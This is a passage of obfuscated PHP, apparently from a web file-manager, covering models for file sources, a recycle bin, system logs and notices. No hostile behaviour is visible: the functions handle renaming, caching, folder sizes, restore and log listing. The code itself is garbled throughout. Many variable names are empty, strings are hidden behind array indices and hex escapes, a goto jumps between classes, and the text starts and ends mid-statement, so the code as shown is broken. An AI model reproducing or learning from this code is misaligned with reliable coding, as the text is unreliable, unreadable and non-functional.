$Ǔ)); Model($ԝ[2156])->where($)->delete(); Model($ԝ[462])->where($)->delete(); Model($ԝ[2009])->where($)->delete(); Model($ԝ[570])->where($)->delete(); Model($ԝ[1843])->removeBySource($Ǔ); Model($ԝ[2138])->removeBySource($Ǔ); $this->where($)->delete(); Model($ԝ[471])->remove($ȱ); for ($Ֆ = 0; $Ֆ < count($Ǔ); $Ֆ++) { $this->sourceCacheClear($Ǔ[$Ֆ]); } } public function rename($, $㫪) { $ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$) { return !1; } $͞ = $this->fileNameExist($[$[432]], $㫪); if ($͞ && $͞ != $) { return !1; } $ŭ = array($[420] => $㫪, $[589] => USER_ID); if ($[$[410]] != $[88]) { $ŭ[$[412]] = substr(get_path_ext($㫪), 0, 10); } Model($[570])->eventRename($, $[$[32]], $㫪); $this->sourceCacheClear($); $this->setNamePinyin($, $ŭ[$[32]], !1); $this->updateModifyTime($[$[432]]); $ = $this->where(array($[417] => $))->data($ŭ)->save(); $ = $[2145] . $[$[432]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } return $; } public function setNamePinyin($ٮ, $®, $˦ = true) { $̜ =& $_SERVER[]; $բ = Input::check($®, $̜[593]); $ = array($̜[444] => KodSort::makeStr($®)); if ($բ) { $[$̜[465]] = str_replace($̜[53], $̜[12], Pinyin::get($®)); $[$̜[464]] = Pinyin::get($®, $̜[594]); } if (!$˦ && !$բ) { $[$̜[465]] = null; $[$̜[464]] = null; } $this->metaSet($ٮ, $); } public function getContent($) { $Ǒ =& $_SERVER[]; $Njַ = $this->fileInfoGet($); if (!$Njַ) { return !1; } if ($Njַ[$Ǒ[76]] == 0) { return $Ǒ[12]; } $ޤ = $Ǒ[2160] . $Njַ[$Ǒ[176]]; if ($Njַ[$Ǒ[76]] <= 1024 * 10) { $ź = Cache::get($ޤ); if (!$ź) { $ź = IO::getContent($Njַ[$Ǒ[84]]); Cache::set($ޤ, $ź); } return $ź; } if (!$Njַ[$Ǒ[84]]) { return $Ǒ[12]; } return IO::getContent($Njַ[$Ǒ[84]]); } public function setDesc($, $椎) { $ځ؛ =& $_SERVER[]; Model($ځ؛[570])->eventAddDesc($, $椎); return $this->metaSet($, $ځ؛[453], $椎); } public function setContent($ڐ, $ߌ = '') { $ڑߦ =& $_SERVER[]; $ҧ = $this->sourceInfo($ڐ); $¡ = $this->fileInfoGet($ڐ); if (!$¡ || !$ҧ) { return !1; } $َܑ = Model($ڑߦ[471])->addFileByContent($ߌ, $ҧ[$ڑߦ[32]]); $Җ = $this->fileHistory($ҧ, $َܑ[$ڑߦ[468]], $َܑ[$ڑߦ[76]]); if (!$Җ) { return Model($ڑߦ[471])->remove($َܑ[$ڑߦ[468]]); } $this->folderSizeReset($ҧ[$ڑߦ[432]]); return !0; } public function fileSubstr($ʵ, $, $㙫) { $ = $this->fileInfoGet($ʵ); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[][84]], $, $㙫); } public function fileInfoGet($ڵ٥) { $ =& $_SERVER[]; $딮 = $this->sourceInfo($ڵ٥); if (!$딮 || $딮[$[410]]) { return !1; } $鳎 = $[474] . $딮[$[468]]; $ݮ = _get(self::$cacheFileInfo, $鳎); if ($ݮ) { return $ݮ; } $ = Model($[471])->fileInfo($딮[$[468]]); if ($) { $[$[32]] = $딮[$[32]]; } self::$cacheFileInfo[$鳎] = $; return $; } private function folderChildrenNumber($) { $є =& $_SERVER[]; $ = $this->sourceInfo($); $ = array($є[590] => array($є[550], $[$є[521]] . $ . $є[551]), $є[587] => $[$є[505]], $є[430] => intval($[$є[431]]), $є[583] => 1); $´ = $this->where($)->count(); $ = $this->where($)->where(array($є[583] => 0))->count(); return array($є[80] => $, $є[81] => $´); } public function pathInfo($љ, $ȵ˔ = false) { $Ъ =& $_SERVER[]; $ȵ˔ = !1; $љ = intval($љ); $ = $Ъ[461] . intval($ȵ˔) . $Ъ[386] . $љ; $ֽ = _get(self::$cachePathInfo, $); if ($ֽ) { return $ֽ; } $ = $this->sourceInfo($љ); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $ȵ˔); self::$cachePathInfo[$] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($) { $DZ =& $_SERVER[]; $ = _get(self::$cachePathInfoMore, $); if ($) { return $; } $ = $this->pathInfo($); if (!$) { return !1; } if ($[$DZ[410]] == $DZ[88]) { $[$DZ[79]] = $this->folderChildrenNumber($); } self::$cachePathInfoMore[$] = $; return $; } public function sourceInfo($İ) { $Ʃ =& $_SERVER[]; if (!$İ) { return array(); } $İ = intval($İ); $ = $Ʃ[460] . $İ; $â = _get(self::$cacheSourceInfo, $); if ($â) { return $â; } $ = $this->where(array($Ʃ[402] => $İ))->find(); self::$cacheSourceInfo[$] = $; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ۚ = false) { self::cacheClear($ۚ); } public static function cacheClear($ = false) { $ =& $_SERVER[]; if ($ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[460] . $]); unset(self::$cachePathInfoMore[$]); unset(self::$cachePathInfo[$[2161] . $]); unset(self::$cachePathInfo[$[2162] . $]); } public function metaSet($ʸ, $؝ = null, $ = null) { $ƚİ = parent::metaSet($ʸ, $؝, $); if ($ƚİ) { $this->sourceCacheClear($ʸ); } return $ƚİ; } public function pathInfoByPath($ΧƩ, $Ť) { $ =& $_SERVER[]; $움 = !$Ť ? array() : explode($[8], trim($Ť, $[8])); $̋ϑ = $ΧƩ; foreach ($움 as $) { $ = array($[432] => $̋ϑ, $[32] => $); $ޗ = $this->where($)->select(); if (!$ޗ) { return !1; } $ޗ = array_sort_by($ޗ, $[431]); $̋ϑ = $ޗ[0][$[402]]; } return $this->pathInfo($̋ϑ, !0); } protected function updateModifyTime($Ƞ) { $ĩ =& $_SERVER[]; $л = defined($ĩ[475]) ? USER_ID : $ĩ[197]; if (!$Ƞ) { return; } if (!is_array($Ƞ)) { $Ƞ = array($Ƞ); } foreach ($Ƞ as $ => $) { $Ƞ[$] = intval($); $this->sourceCacheClear($); } $Џջ = array($ĩ[402] => array($ĩ[7], $Ƞ)); $ = array($ĩ[589] => $л, $ĩ[424] => time()); $this->where($Џջ)->save($); } public function folderSizeReset($ٺ, $븕 = false) { $ =& $_SERVER[]; if ($this->statusIgnoreResetSpace) { return; } $ = $this->sourceInfo($ٺ); $껑 = $[2163] . $ٺ; CacheLock::lock($껑, 20); if ($븕 === !1) { $this->sourceCacheClear($ٺ); $ = $this->sourceInfo($ٺ); $˃ = array($[401] => $ٺ, $[430] => 0); $Ƥ = $this->where($˃)->sum($[76]); $븕 = intval($Ƥ) - intval($[$[76]]); } if ($븕 == 0) { return CacheLock::unlock($껑); } $ = $this->parentLevelArray($[$[521]]); if (!$) { $ = array(); } $[] = $[$[402]]; $˃ = array($[402] => array($[418], $)); if ($븕 < 0) { $˃[$[76]] = array($[1022], abs($븕)); } $this->where($˃)->setAdd($[76], $븕); CacheLock::unlock($껑); $۪ = $[2164] . $[$[411]] . $[4] . $[$[505]]; $ = array($[$[411]], $[$[505]]); TaskRun::timeLimitCall($۪, $[2165], $, 1.5); } public function folderSizeResetChildren($ؑ) { $ =& $_SERVER[]; $this->sourceCacheClear($ؑ); $ = $this->sourceInfo($ؑ); $ = array($[583] => 1, $[587] => $[$[505]], $[590] => array($[550], $[$[521]] . $ؑ . $[551])); $ª = $[2166]; $٨ = $this->field($ª)->where($)->select(); $[$[410]] = 0; $ = $this->field($ª)->where($)->select(); if (!$) { return; } $٨[] = $; $٨ = array_to_keyvalue($٨, $[402]); foreach ($٨ as $ϊ => $) { $٨[$ϊ][$[2167]] = $٨[$ϊ][$[76]]; $٨[$ϊ][$[76]] = 0; } foreach ($ as $) { $ = $[$[432]] . $[12]; if (!isset($٨[$])) { continue; } if ($[$[431]] == $٨[$][$[431]]) { $٨[$][$[76]] += $[$[76]]; } } foreach ($٨ as $) { $̯ = $this->parentLevelArray($[$[521]]); foreach ($̯ as $) { $ = $ . $[12]; if (!isset($٨[$])) { continue; } if ($[$[431]] == $٨[$][$[431]]) { $٨[$][$[76]] += $[$[76]]; } } } $ƒ = array(); foreach ($٨ as $) { if ($[$[76]] == $[$[2167]]) { continue; } $ƒ[] = array($[402], $[$[402]], $[76], $[$[76]]); } $this->saveAll($ƒ); } public function userSpaceReset($嶂 = false) { $ =& $_SERVER[]; $ڦ = $this->where(array($[411] => self::TYPE_USER, $[505] => $嶂, $[410] => 0))->sum($[76]); $ڦ = !$ڦ || $ڦ <= 0 ? 0 : $ڦ; Model($[513])->userEdit($嶂, array($[1852] => $ڦ)); } public function targetSpaceUpdate($ʪ, $Ǐ) { $ =& $_SERVER[]; if (!$Ǐ) { return; } if (!in_array($ʪ, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ = $this->targetSpaceSize($ʪ, $Ǐ); if ($ʪ == self::TYPE_USER) { Model($[513])->userEdit($Ǐ, array($[1852] => $)); } else { if ($ʪ == self::TYPE_GROUP) { Model($[522])->groupEdit($Ǐ, array($[1852] => $)); } } } public function targetSpaceSize($ڨ, $Ѓ) { $ =& $_SERVER[]; $ = 0; $ǝ = $this->targetSourceRoot($ڨ, $Ѓ, !0); foreach ($ǝ as $ֹ) { if (!$ֹ) { continue; } $ += floatval($ֹ[$[76]]); $̩ = array($[590] => array($[550], $[531] . $ֹ[$[402]] . $[551])); $㴃앶 = Model($[429])->field($[417])->where($̩)->select(); $㴃앶 = array_to_keyvalue($㴃앶, $[12], $[402]); $㴃앶 = array_unique(array_filter($㴃앶)); if ($㴃앶) { $̩ = array($[417] => array($[418], $㴃앶)); $ += floatval($this->where($̩)->sum($[76])); } } $ = !$ || $ <= 0 ? 0 : $; return $; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_USER); } public function groupFileTypeProfile($凈) { return $this->fileTypeProfile($凈, SourceModel::TYPE_GROUP); } private function fileTypeProfile($, $滗) { $Ү =& $_SERVER[]; $פ = $Ү[2168] . $ . $Ү[11] . $滗; $ⲩ = Cache::get($פ); if ($ⲩ) { return $ⲩ; } $ = array($Ү[583] => 0); if ($ != !1) { $[$Ү[505]] = $; $[$Ү[411]] = $滗; } $숔 = array(); $숔[$Ү[2169]] = array($Ү[2170] => LNG($Ү[2169]), $Ү[2171] => $this->where($)->count(), $Ү[585] => $this->where($)->sum($Ү[76])); $̄ = KodIO::fileTypeList(); foreach ($̄ as $֚ => $Җ) { $[$Ү[412]] = $this->fileTypeWhere($֚); $숔[$֚] = array($Ү[2170] => $Җ[$Ү[32]], $Ү[2171] => $this->where($)->count(), $Ү[585] => $this->where($)->sum($Ү[76])); } Cache::set($פ, $숔, 1200); return $숔; } public function fileNameExist($ﮛ, $) { $Ƥ =& $_SERVER[]; $Ƀ = $this->where(array($Ƥ[432] => $ﮛ, $Ƥ[32] => $, $Ƥ[431] => 0))->find(); return is_array($Ƀ) ? $Ƀ[$Ƥ[402]] : !1; } public function childList($) { $ʝԬ =& $_SERVER[]; $ע = $ʝԬ[2145] . $; if (isset(self::$cacheChildList[$ע])) { return self::$cacheChildList[$ע]; } $Ш = array($ʝԬ[432] => intval($), $ʝԬ[431] => 0); $ = $this->where($Ш)->select(); $ = $ ? $ : array(); self::$cacheChildList[$ע] = $; foreach ($ as $Ѓ) { $ע = $ʝԬ[460] . $Ѓ[$ʝԬ[402]]; self::$cacheSourceInfo[$ע] = $Ѓ; } return $; } public function fileNameAuto($, $쪆, $ = REPEAT_RENAME, $ʛ = false) { $ =& $_SERVER[]; $ԏ = get_path_ext($쪆); $ꉀ = $ԏ ? basename($쪆, $[10] . $ԏ) . $[2172] . $ԏ : $쪆 . $[384]; $؛ = array($[432] => $, $[431] => 0, $[32] => array($[383], $ꉀ)); $ʄ® = $this->field($[32])->where($؛)->select(); $뒈 = array_to_keyvalue($ʄ®, $[12], $[32]); return $this->fileNameAutoGet($뒈, $쪆, $, $ʛ); } public function fileNameAutoGet($̶ӱ, $Ȏ, $, $ʬՄ) { $ =& $_SERVER[]; if ($ == REPEAT_REPLACE || !$̶ӱ || !in_array_not_case($Ȏ, $̶ӱ) || $ʬՄ && $ != REPEAT_RENAME_FOLDER) { return $Ȏ; } if ($ == REPEAT_SKIP) { return !1; } $ʐ = $[10] . get_path_ext($Ȏ); $ʐ = $ʐ == $[10] || $ʬՄ ? $[12] : $ʐ; for ($ڋ = 1; $ڋ <= count($̶ӱ) + 1; $ڋ++) { $ȍ = substr($Ȏ, 0, strlen($Ȏ) - strlen($ʐ)); $ = $ȍ . "\50{$ڋ}\51{$ʐ}"; if (!in_array_not_case($, $̶ӱ)) { return $; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\151\157\137\x73\157\165\162\x63\x65\x5f\x72\x65\x63\x79\x63\x6c\145"; protected $dataAuto = array(array("\143\162\x65\x61\x74\145\124\x69\x6d\145", "\x74\x69\x6d\x65", "\151\156\163\145\x72\x74", "\x66\165\156\x63\x74\151\157\x6e")); public function listData($ = false) { $ʴ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ʔ = $this->where(array($ʴ[1665] => $))->select(); return array_to_keyvalue($ʔ, $ʴ[12], $ʴ[402]); } public function moveToRecycle($淘) { $ů =& $_SERVER[]; $֓ǽ = Model($ů[1343]); $Ϛ = $֓ǽ->sourceInfo($淘); if (!$Ϛ || $Ϛ[$ů[431]] == $ů[88]) { return; } $熙 = array($ů[417] => $淘, $ů[1665] => USER_ID, $ů[586] => $Ϛ[$ů[411]], $ů[587] => $Ϛ[$ů[505]], $ů[590] => $Ϛ[$ů[521]]); $this->add($熙); $this->recycleMove($淘, 1); if ($Ϛ[$ů[410]] == $ů[88]) { $省 = array($ů[590] => array($ů[550], $Ϛ[$ů[521]] . $淘 . $ů[551])); $֓ǽ->where($省)->setField($ů[431], 1); } } public function clear() { $this->remove(!1); } public function remove($ۻ = false, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ǿ = Model($[1343]); $© = $this->listData($); $ۻ = $ۻ === !1 ? !1 : $ۻ; $ܳɁ = array(); foreach ($© as $䋜) { if ($ۻ != !1 && !in_array($䋜, $ۻ)) { continue; } $ֽ = $ǿ->sourceInfo($䋜); $ǿ->remove($䋜, !1); $ = $ֽ[$[411]] . $[11] . $ֽ[$[505]]; $ܳɁ[$] = array($[586] => $ֽ[$[411]], $[505] => $ֽ[$[505]]); $this->where(array($[402] => $䋜))->delete(); } foreach ($ܳɁ as $錰
) { $ǿ->targetSpaceUpdate($錰
[$[411]], $錰
[$[505]]); } } public function restore($ä = false) { $ = $this->listData(); $this->_restoreSource($, $ä); } public function removeUserAll($Շ) { $this->remove(!1, $Շ); } private function _restoreSource($, $) { $ =& $_SERVER[]; $ = Model($[1343]); $ = $ == !1 ? !1 : $; if (!$) { return !0; } $ = array(); foreach ($ as $ѯ) { if ($ != !1 && !in_array($ѯ, $)) { continue; } $Ԏ = $->sourceInfo($ѯ); $̓ = $->sourceInfo($Ԏ[$[432]]); if ($̓[$[431]] == $[88]) { continue; } $->lockMoveStart($ѯ); $this->recycleMove($ѯ, 0); if ($Ԏ[$[410]] == $[88]) { $ȯ = array($[590] => array($[550], $Ԏ[$[521]] . $ѯ . $[551])); $->where($ȯ)->setField($[431], 0); $this->restoreFolderChildren($ѯ, $); } $this->where(array($[402] => $ѯ))->delete(); $->folderSizeReset($Ԏ[$[432]]); $[] = $Ԏ[$[432]]; if ($Ԏ[$[410]] == $[88]) { $[] = $ѯ; } $->lockMoveEnd($ѯ); } $->updateModifyTime($); } private function restoreFolderChildren($ؿ, $ͻ) { $ =& $_SERVER[]; $ɶњ = Model($[1343]); $ղ = array($[402] => array($[7], array())); foreach ($ͻ as $ǀÇ) { if ($ǀÇ == $ؿ) { continue; } if (!$ɶњ->isParentOf($ؿ, $ǀÇ)) { continue; } $ = $ɶњ->sourceInfo($ǀÇ); if ($[$[410]] == $[88]) { $ղ[] = array($[590] => array($[550], $[$[521]] . $ǀÇ . $[551])); } else { $ղ[$[402]][1][] = $ǀÇ; } } if (!$ղ[$[402]][1]) { unset($ղ[$[402]]); } if (!$ղ) { return; } $ղ[$[402]][1] = array_unique($ղ[$[402]][1]); $ղ[$[1007]] = $[1961]; $ɶњ->where($ղ)->setField($[431], 1); } private function recycleMove($菟, $ = 1) { $北 =& $_SERVER[]; $ = Model($北[1343]); $ᾠ = Model($北[2173]); $㻞 = array($北[402] => $菟); if ($) { $->where($㻞)->setField($北[431], 1); $ᾠ->eventRecycle($菟, $北[2174]); } else { $ʷ = $->where($㻞)->find(); $ = $ʷ[$北[410]] == $北[88]; $ = $->fileNameAuto($ʷ[$北[432]], $ʷ[$北[32]], REPEAT_RENAME_FOLDER, $); if ($ != $ʷ[$北[32]]) { $->rename($菟, $); } $->where($㻞)->setField($北[431], 0); $ᾠ->eventRecycle($菟, $北[2175]); } } } goto B; a߱: class SystemLogModel extends ModelBase { protected $tableName = "\163\171\x73\164\x65\x6d\x5f\154\157\147"; protected $dataAuto = array(array("\143\x72\x65\141\x74\145\x54\x69\155\x65", "\164\x69\x6d\145", "\x69\x6e\163\145\x72\164", "\x66\165\x6e\143\164\151\157\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ܭ =& $_SERVER[]; return array($ܭ[2192] => LNG($ܭ[2193]), $ܭ[2194] => LNG($ܭ[2195]), $ܭ[1806] => LNG($ܭ[2196]), $ܭ[2197] => LNG($ܭ[2198]), $ܭ[2199] => LNG($ܭ[2200]), $ܭ[2201] => LNG($ܭ[2202]), $ܭ[2203] => LNG($ܭ[2204]), $ܭ[1836] => LNG($ܭ[2204]), $ܭ[1837] => LNG($ܭ[2205]), $ܭ[2206] => LNG($ܭ[2207]), $ܭ[2208] => LNG($ܭ[2209]), $ܭ[2210] => LNG($ܭ[2211]), $ܭ[2212] => LNG($ܭ[2213]), $ܭ[1834] => LNG($ܭ[2214]), $ܭ[2215] => LNG($ܭ[2216]), $ܭ[1841] => LNG($ܭ[2217]), $ܭ[2218] => LNG($ܭ[2219]), $ܭ[2220] => LNG($ܭ[2221]), $ܭ[2222] => LNG($ܭ[2223]), $ܭ[2224] => LNG($ܭ[2225]), $ܭ[1844] => LNG($ܭ[2226]), $ܭ[1845] => LNG($ܭ[2227]), $ܭ[2228] => LNG($ܭ[2229]), $ܭ[2230] => LNG($ܭ[2231]), $ܭ[2232] => LNG($ܭ[2233]), $ܭ[1839] => LNG($ܭ[2234]), $ܭ[2235] => LNG($ܭ[2236]), $ܭ[1838] => LNG($ܭ[2237]), $ܭ[2238] => LNG($ܭ[2239]), $ܭ[2240] => LNG($ܭ[2241]), $ܭ[2242] => LNG($ܭ[2243]), $ܭ[2244] => LNG($ܭ[2244]), $ܭ[2245] => LNG($ܭ[1810]), $ܭ[2246] => LNG($ܭ[2247]), $ܭ[2248] => LNG($ܭ[2249]), $ܭ[2250] => LNG($ܭ[2251]), $ܭ[2252] => LNG($ܭ[2253]), $ܭ[2254] => LNG($ܭ[2255]), $ܭ[2256] => LNG($ܭ[2256]), $ܭ[2257] => LNG($ܭ[2258]), $ܭ[2259] => LNG($ܭ[2260]), $ܭ[2261] => LNG($ܭ[2262]), $ܭ[2263] => LNG($ܭ[2264]), $ܭ[2265] => LNG($ܭ[2266]), $ܭ[2267] => LNG($ܭ[2268])); } private function typeFile() { $ =& $_SERVER[]; $ٷ = array($[1841] => array($[1842]), $[2210] => array($[2269]), $[2212] => array($[2270]), $[1834] => array($[1835]), $[2220] => array(), $[2222] => array(), $[2224] => array(), $[1844] => array($[1846]), $[1845] => array($[1846]), $[2228] => array($[2271]), $[2230] => array($[2271]), $[2232] => array($[2272]), $[2218] => array($[2273]), $[1839] => array($[2274]), $[2235] => array($[2275]), $[1838] => array($[1840])); return $ٷ; } private function typeAll() { $ڳ =& $_SERVER[]; $ҊЀ = $this->typeList; $㘐 = array_filter($this->typeFile()); foreach ($㘐 as $Ŵ => $) { $ҊЀ[$[0]] = $ҊЀ[$Ŵ]; } $ҊЀ[$ڳ[1846]] = LNG($ڳ[2276]); $ҊЀ[$ڳ[2271]] = LNG($ڳ[2277]); return $ҊЀ; } public function addLog($苢, $ = array()) { $̃ =& $_SERVER[]; if (!isset($this->typeList[$苢])) { return; } $ = defined($̃[475]) && USER_ID ? USER_ID : (isset($[$̃[1674]]) ? $[$̃[1674]] : 0); if (!$) { $ = (int) Session::get($̃[2000]); } if ($苢 == $̃[2246] && is_array($[$̃[2278]]) && !$[$̃[2278]]) { return; } $܌ = get_client_ip(); if (!$ || strlen(json_encode($)) >= 1024) { $ = array($̃[2279] => $܌); } else { if (is_array($)) { $[$̃[2279]] = $܌; } else { $ = array($̃[1210] => $, $̃[2279] => $܌); } } $ = array($̃[1664] => Session::sign(), $̃[1665] => $, $̃[33] => $苢, $̃[1667] => json_encode($)); parent::add($); } public function remove($Ǜ) { $this->where(array($_SERVER[][419] => $Ǜ))->delete(); } private function _makeOrder($П = '') { $ϫʚ =& $_SERVER[]; $ = $ϫʚ[200]; $ͧ = array($ϫʚ[450] => $ϫʚ[451], $ϫʚ[452] => $ϫʚ[453]); $셶ҝ = Input::get($ϫʚ[458], $ϫʚ[7], $ϫʚ[2032], array($ϫʚ[1954], $ϫʚ[452])); $셶ҝ = $ͧ[$셶ҝ]; $П = $П . "{$}\40{$셶ҝ}"; return $this->order($П); } public function get($ȇӹ = '') { $ =& $_SERVER[]; if (!$ȇӹ) { show_json(array()); } $گ = array(); if ($ȇӹ[$[1674]]) { $گ[$[1674]] = $ȇӹ[$[1674]]; } if (isset($ȇӹ[$[765]])) { $ = $ȇӹ[$[765]]; $ = isset($ȇӹ[$[497]]) ? $ȇӹ[$[497]] : time(); $گ[$[200]] = array($[333], array($, $)); } if ($ȇӹ[$[33]]) { $Ϛ = explode($[50], $ȇӹ[$[33]]); $䏲 = $this->typeFile(); $ = array(); foreach ($Ϛ as $ۮ) { $[] = $ۮ; if (isset($䏲[$ۮ])) { $ = array_merge($, $䏲[$ۮ]); } } $ = array_unique($); if ($) { $گ[$[33]] = array($[7], $); } } else { $گ[$[33]] = array($[2280], $[2281]); } if (!empty($ȇӹ[$[2279]])) { $گ[$[453]] = array($[383], "\x25{$ȇӹ[$[2279]]}\x25"); } $Ϝ = $this->_makeOrder()->where($گ)->selectPage(); if (empty($Ϝ[$[369]])) { show_json(array(), !0, $Ϝ[$[366]]); } $Ϝ[$[369]] = $this->logList($Ϝ[$[369]]); return $Ϝ; } private function ipAddress(&$) { $У =& $_SERVER[]; if (!empty($[$У[2279]])) { $Ƀ = IpLocation::get($[$У[2279]]); } else { $Ƀ = LNG($У[2282]); } $[$У[2283]] = $Ƀ; } private function descZipDownload($, &$Ɏϕ) { $ʮ =& $_SERVER[]; if (!isset($[$ʮ[2284]])) { return; } $ = json_decode($[$ʮ[2284]], !0); foreach ($ as $űǃ) { try { $ȭ = IO::infoFull($űǃ[$ʮ[84]]); } catch (Exception $) { continue; } $[$ʮ[84]] = $űǃ[$ʮ[84]]; $Ɏϕ[] = $[$ʮ[402]] = $ȭ[$ʮ[402]]; $Ɏϕ[] = $[$ʮ[2086]] = $ȭ[$ʮ[432]]; break; } return $; } private function getSourceList(&$߱) { $ =& $_SERVER[]; $ = array(); foreach ($߱ as $ڒ => $݈) { $ = json_decode($݈[$[453]], !0); if ($݈[$[33]] == $[1837]) { $ = $this->descZipDownload($, $); $߱[$ڒ][$[453]] = json_encode($); continue; } if (strpos($݈[$[33]], $[2088]) !== 0) { if (!isset($[$[84]]) || strpos($݈[$[33]], $[2285]) !== 0) { continue; } try { $ݔ = IO::infoFull($[$[84]]); } catch (Exception $ϣĶ) { continue; } $[] = $[$[402]] = $ݔ[$[402]]; $[] = $[$[2086]] = $ݔ[$[432]]; $߱[$ڒ][$[453]] = json_encode($); continue; } $[] = $[$[402]]; $[] = $[$[2086]]; if ($[$[33]] == $[557]) { $[] = $[$[453]][$[1167]]; $[] = $[$[453]][$[1168]]; } if ($[$[33]] == $[2096]) { $[] = $[$[453]][$[402]]; } } if (!$) { return array(); } return Model($[829])->sourceListInfo($, !0); } private function logList($ǒ) { $ =& $_SERVER[]; $ = array_to_keyvalue($ǒ, $[12], $[1674]); $ = Model($[535])->userListInfo(array_unique($)); $ޯ = $this->getSourceList($ǒ); $̻ = $this->typeAll(); $ӆ = array(); $ = array(); foreach ($ǒ as $ => $ǡ) { $ʺÓ = $ǡ[$[33]]; $͖ = isset($[$ǡ[$[1674]]]) ? $[$ǡ[$[1674]]] : !1; $ԏ = strpos($ʺÓ, $[2286]) === 0 ? LNG($[2287]) : LNG($[2282]); $ǡ[$[32]] = isset($͖[$[32]]) ? $͖[$[32]] : LNG($[2282]); $ǡ[$[542]] = isset($͖[$[542]]) ? $͖[$[542]] : $[12]; $ǡ[$[1574]] = isset($̻[$ʺÓ]) ? $̻[$ʺÓ] : $ԏ; $ǡ[$[2031]] = $͖; $Ǻ = json_decode($ǡ[$[453]], !0); $ǡ[$[2279]] = isset($Ǻ[$[2279]]) ? $Ǻ[$[2279]] : $[12]; $ǡ[$[2283]] = IpLocation::get($ǡ[$[2279]]); if (strpos($ʺÓ, $[2088]) === 0 || isset($Ǻ[$[2086]])) { $Ǻ[$[86]] = $ޯ[$Ǻ[$[402]]]; $Ǻ[$[2101]] = $ޯ[$Ǻ[$[2086]]]; if ($Ǻ[$[33]] == $[557]) { $Ǻ[$[453]][$[1167]] = $ޯ[$Ǻ[$[453]][$[1167]]]; $Ǻ[$[453]][$[1168]] = $ޯ[$Ǻ[$[453]][$[1168]]]; } if ($Ǻ[$[33]] == $[2096]) { $Ǻ[$[453]][$[402]] = $ޯ[$Ǻ[$[453]][$[402]]]; } if ($Ǻ[$[33]] == $[1832]) { $Ǻ[$[2101]] = $Ǻ[$[86]]; $Ǻ[$[2086]] = $Ǻ[$[2101]][$[402]]; $Ǻ[$[86]] = !1; $Ǻ[$[402]] = $[12]; } if ($Ǻ[$[86]] && $Ǻ[$[86]][$[411]] == $[1292]) { $[] = $ǡ[$[399]]; unset($ǒ[$]); continue; } if ($Ǻ[$[2101]] && $Ǻ[$[2101]][$[411]] == $[1292]) { $[] = $ǡ[$[399]]; unset($ǒ[$]); continue; } } $ǡ[$[453]] = $Ǻ; unset($ǡ[$[2288]]); $ӆ[] = $ǡ; } $this->clearSystemPathLog($); return $ӆ; } private function clearSystemPathLog($) { $Ï =& $_SERVER[]; if (count($) == 0) { return; } $ߖ = array($Ï[399] => array($Ï[7], array_unique($))); $this->where($ߖ)->delete(); } public function deviceList($ۀ, $Ǽ = 0) { $֢ =& $_SERVER[]; $· = array($֢[1674] => $ۀ, $֢[200] => array($֢[1021], $Ǽ), $֢[33] => $֢[1806]); $ = array(); $ = $this->field($֢[2289])->where($·)->order($֢[2099])->limit(50)->select(); foreach ($ as $оۿ => $̤) { if ($оۿ > 0 && abs($̤[$֢[200]] - $[$оۿ - 1][$֢[200]]) < 5) { continue; } $āା = json_decode($̤[$֢[453]], !0); $̤[$֢[2279]] = isset($āା[$֢[2279]]) ? $āା[$֢[2279]] : $֢[12]; unset($āା[$֢[2279]]); $ = $this->deviceType($āା[$֢[2089]]); if (isset($[$])) { continue; } $̤[$֢[2283]] = IpLocation::get($̤[$֢[2279]]); $̤[$֢[453]] = $āା; $[$] = $̤; } return array_values($); } public function deviceType($勷) { return $勷; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\x65\155\x2e\x6e\x6f\x74\x69\x63\145\x4c\151\x73\x74"; public $field = array("\156\141\x6d\145", "\143\x6f\x6e\164\145\x6e\x74", "\141\165\164\150", "\155\x6f\144\145", "\164\x69\155\145", "\x74\171\160\x65", "\154\145\x76\145\x6c", "\x65\x6e\141\142\154\145", "\x73\157\x72\x74"); public function listData($ = false, $δ = "\x73\x6f\162\164", $ۮ = false) { return parent::listData($, $δ, $ۮ); } public function add($ܒ) { $ =& $_SERVER[]; $ = time(); if ($ܒ[$[16]] == $[2290]) { $ = strtotime($ܒ[$[203]]); } $ܒ[$[203]] = $; return parent::insert($ܒ); } public function update($, $ӏ) { $ =& $_SERVER[]; $˿ = $this->listData($); if (!$˿) { return !1; } $ӑ = time(); if ($ӏ[$[16]] == $[2290]) { $ӑ = strtotime($ӏ[$[203]]); } $ӏ[$[203]] = $ӑ; return parent::update($, $ӏ); } public function remove($͠) { $ͽ = $this->listData($͠); if (!$ͽ || $ͽ[$_SERVER[][1292]]) { return !1; } return parent::remove($͠); } public function sort($, $) { return parent::update($, $); } public function enable($, $) { return parent::update($, array($_SERVER[][2291] => $)); } private function initUserOption() { $ =& $_SERVER[]; $this->optionType = $[2292]; $this->modelType = $[2293]; $this->field = array($[2294], $[32], $[203], $[33], $[2295], $[754], $[195]); } public function userNoticeGet($ӯ = false) { $this->initUserOption(); return parent::listData($ӯ, $_SERVER[][399], !0); } public function userNoticeAdd($) { $ =& $_SERVER[]; $this->initUserOption(); $㧤 = $this->findByKey($[2294], $[$[399]]); if ($㧤) { return !0; } $ = array($[2294] => $[$[399]], $[32] => $[$[32]], $[203] => $[$[203]], $[33] => isset($[$[33]]) ? $[$[33]] : 1, $[2295] => isset($[$[2295]]) ? $[$[2295]] : 0, $[754] => 0, $[195] => 0); return parent::insert($); } public function userNoticeEdit($, $ɭ·) { $this->initUserOption(); return parent::update($, $ɭ·); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = 